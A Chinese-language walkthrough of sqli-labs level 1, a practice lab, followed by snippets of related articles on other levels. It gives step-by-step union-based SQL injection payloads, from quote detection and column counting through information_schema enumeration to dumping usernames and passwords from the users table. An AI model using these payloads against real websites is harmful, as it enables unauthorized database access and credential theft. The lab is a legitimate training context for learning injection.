sqli-labs第一关

简介: sqli-labs第一关

1、提示我们需要传递一个id的参数

?id=1

2、判断是什么类型的注入(字符or整形)结果:存在字符型注入

?id=1'

?id=1' --+

3、使用联合查询,查看有几列。结果:有3列

?id=1 ' order by 4 --+  

4、查看这3列中哪几列会在页面显示 (由于写入id=整形数值,会出现先对应的name和password,所以这里我们构造id=字符)结果:第2,3列会显示在页面是上

?id=a' union select 1,2,3 --+

5、接着查询数据库名

?id=a' union select 1,2,database()--+

6、 接着是查询该库中的表名,可能有多张表,这里有4张表,我们猜测重要数据会在users表中


?id=a' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

7、接着查询users 表中的字段,得到了表中的字段,可以看到username,password里面的信息可能是我们想要的

?id=a' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

8、查询users表中字段里面的信息(在这里加上id是为更好的分隔开用户名和密码),最终我们拿到了用户名和密码

?id=a' union select 1,2,group_concat(username,id,password) from users--+

相关文章
|
数据库
SQLi LABS Less-15
第十五关请求方式为POST请求 , 注入方式为 单引号字符串型注入 第一步,判断注入类型 使用万能账号测试注入类
288 0
SQLi LABS Less-15
|
SQL 安全 数据库
SQLi LABS Less-17
第十七关请求方式为POST请求 , 注入点为 单引号字符型注入 , 注入方式为 报错注入 第一步,判断注入类型
183 0
SQLi LABS Less-17
|
SQL 存储 安全
SQLi LABS Less-39
第三十九关请求方式为GET请求 , 注入类型为 整形注入 第一步,判断注入类型
117 0
SQLi LABS Less-39
|
SQL 安全 数据库
SQLi-LABS Less-1
第一关请求方式为 GET请求 , 注入点为 单引号字符串型 , 注入方式为 联合注入 第一步,判断注入类型 先输如一个单引号' , 看它会不会报错
145 0
SQLi-LABS Less-1
|
SQL 数据库
SQLi LABS Less-9
第九关请求方式为GET请求 , 注入点为 单引号字符型注入 , 注入类型为 延时注入 延时注入常配合两个函数使用
127 0
SQLi LABS Less-9
|
SQL 安全 数据库
SQLi LABS Less-18
第十八关请求方式为 GET请求 , 注入点为 User-Agent , 注入方式为 错误注入 第一步,判断注入方式
213 0
SQLi LABS Less-18
SQLi LABS Less-27
第27关使用GET请求传递参数,在url中构造payload即可 源码中过滤了/*,--,#,空格,select,union,需要考虑一下怎么绕过这些规则
358 0
SQLi LABS Less-27
|
SQL 数据库
SQLi LABS Less-27a
第27关使用GET请求提交参数,在url地址栏中构造payload即可 后端源码中过滤了/*,--,#,空格,select,union,需要考虑一下怎么绕过这些规则
189 0
SQLi LABS Less-27a
|
SQL 安全 数据库
SQLi LABS Less-13
第十三关请求方式为POST请求 , 注入点为 单引号+括号的字符型注入 , 注入方式为 报错注入 本次报错注入基于 updatexml()
178 0
SQLi LABS Less-13
SQLi LABS Less-30
第30关使用GET请求传递参数,在url中构造payload即可 后端源码中并没有做什么过滤,只是在参数两边添加了双引号
150 0
SQLi LABS Less-30

热门文章

最新文章